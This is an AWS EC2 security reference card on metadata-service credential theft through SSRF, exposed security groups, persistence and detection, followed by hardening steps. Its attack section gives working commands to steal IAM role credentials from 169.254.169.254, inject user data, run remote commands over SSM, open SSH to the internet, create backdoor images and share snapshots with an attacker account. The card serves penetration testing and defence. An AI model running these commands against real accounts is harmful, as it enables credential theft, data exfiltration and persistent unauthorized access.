Category: COMPUTE
Elastic Compute Cloud (EC2) provides virtual servers with instance metadata service (IMDS) and security groups. IMDS credential theft via SSRF is the #1 EC2 attack vector - the Capital One breach exploited this.
| Risk Level | AZ-Specific | 169.254.169.254 | + NACLs |
|---|---|---|---|
| CRITICAL | Regional | IMDS | SGs |
IMDS at 169.254.169.254 provides instance metadata including IAM role credentials. IMDSv1 allows simple GET requests; IMDSv2 requires a session token, blocking most SSRF attacks.
Attack note: SSRF to IMDS is the most common cloud credential theft technique
Security groups act as virtual firewalls controlling inbound and outbound traffic. SSH (22), RDP (3389), and admin ports exposed to 0.0.0.0/0 are critical vulnerabilities.
Attack note: Open security groups are constantly scanned by automated botnets
█████████░ 9.0/10 (CRITICAL)
EC2 instances with IMDSv1 enabled are vulnerable to SSRF-based credential theft. Open security groups and public snapshots containing secrets are also major attack vectors.
- SSRF to 169.254.169.254
- Steal IAM role credentials
- Access user-data scripts
- Retrieve SSH public keys
- Get instance identity document
- Open SSH/RDP to internet
- Weak or default credentials
- Vulnerable AMI applications
- User data with secrets
- Unpatched software
- Security group allows 0.0.0.0/0 ingress
- All ports open in security group
- No egress filtering
- Public IP with sensitive services
- Missing VPC flow logs
- IMDSv1 enabled (not v2 required)
- EBS volumes not encrypted
- Public AMIs with secrets
- User data contains credentials
- Over-privileged instance role
List All Instances
aws ec2 describe-instancesList Security Groups
aws ec2 describe-security-groupsFind Public Snapshots
aws ec2 describe-snapshots \\
--owner-ids self --query 'Snapshots[?Public]'Query IMDS (from instance)
curl http://169.254.169.254/latest/meta-data/Get User Data
curl http://169.254.169.254/latest/user-data- Get role name from IMDS
- Retrieve temporary credentials
- Use creds externally
- Credentials valid for hours
- Full role permissions
- User data scripts
- Environment variables
- EBS volume contents
- Memory dumps
- Application configs
Key insight: IMDS credentials often have overly broad permissions. Check what the role can access.
- Add SSH authorized_keys
- Create backdoor user
- Install reverse shell
- Modify startup scripts
- SSM agent backdoor
- Create AMI with backdoor
- Modify user data
- Create Lambda trigger
- Add SSM document
- Scheduled SSM commands
- RunInstances - new instance
- ModifyInstanceMetadataOptions
- CreateImage - AMI creation
- ModifySecurityGroupRules
- CreateSnapshot
- Unusual IMDS access patterns
- GuardDuty UnauthorizedAccess
- VPC flow log anomalies
- Credential use from new IPs
- Security group modifications
Steal IAM Role Credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Then: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>Inject User Data (Stop First)
aws ec2 modify-instance-attribute \\
--instance-id i-xxx \\
--user-data file://payload.shSSM Remote Command Execution
aws ssm send-command \\
--instance-ids i-xxx \\
--document-name AWS-RunShellScript \\
--parameters 'commands=["id", "cat /etc/passwd"]'Open Security Group
aws ec2 authorize-security-group-ingress \\
--group-id sg-xxx \\
--protocol tcp --port 22 --cidr 0.0.0.0/0Create Backdoor AMI
aws ec2 create-image \\
--instance-id i-xxx \\
--name "backup-$(date +%s)"Copy Snapshot Cross-Account
aws ec2 modify-snapshot-attribute \\
--snapshot-id snap-xxx \\
--attribute createVolumePermission \\
--operation-type add --user-ids ATTACKER_ACCOUNT{
"IpPermissions": [{
"IpProtocol": "-1",
"IpRanges": [{"CidrIp": "0.0.0.0/0"}]
}]
}Allows ALL traffic from ANYWHERE - complete exposure
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 443,
"ToPort": 443,
"IpRanges": [{"CidrIp": "10.0.0.0/8"}]
}]
}Only HTTPS from internal network - proper restriction
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"IpRanges": [{"CidrIp": "0.0.0.0/0"}]
}]
}SSH open to internet - brute force target
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"UserIdGroupPairs": [{
"GroupId": "sg-bastion"
}]
}]
}SSH only from bastion security group
Require session tokens for IMDS access - blocks most SSRF attacks.
aws ec2 modify-instance-metadata-options \\
--instance-id i-xxx --http-tokens requiredNo 0.0.0.0/0 ingress rules. Use specific CIDR ranges or security groups.
aws ec2 authorize-security-group-ingress \\
--cidr 10.0.0.0/8 --port 443Enable default encryption for all new volumes.
aws ec2 enable-ebs-encryption-by-defaultNo open ports, centralized logging, IAM authentication.
aws ssm start-session --target i-xxxMonitor network traffic for anomalies.
aws ec2 create-flow-logs \\
--resource-type VPC --resource-ids vpc-xxxNever make snapshots public. Use RAM for cross-account sharing.
aws ec2 modify-snapshot-attribute \\
--snapshot-id snap-xxx --attribute createVolumePermission \\
--operation-type removeAWS EC2 Security Card
Always obtain proper authorization before testing
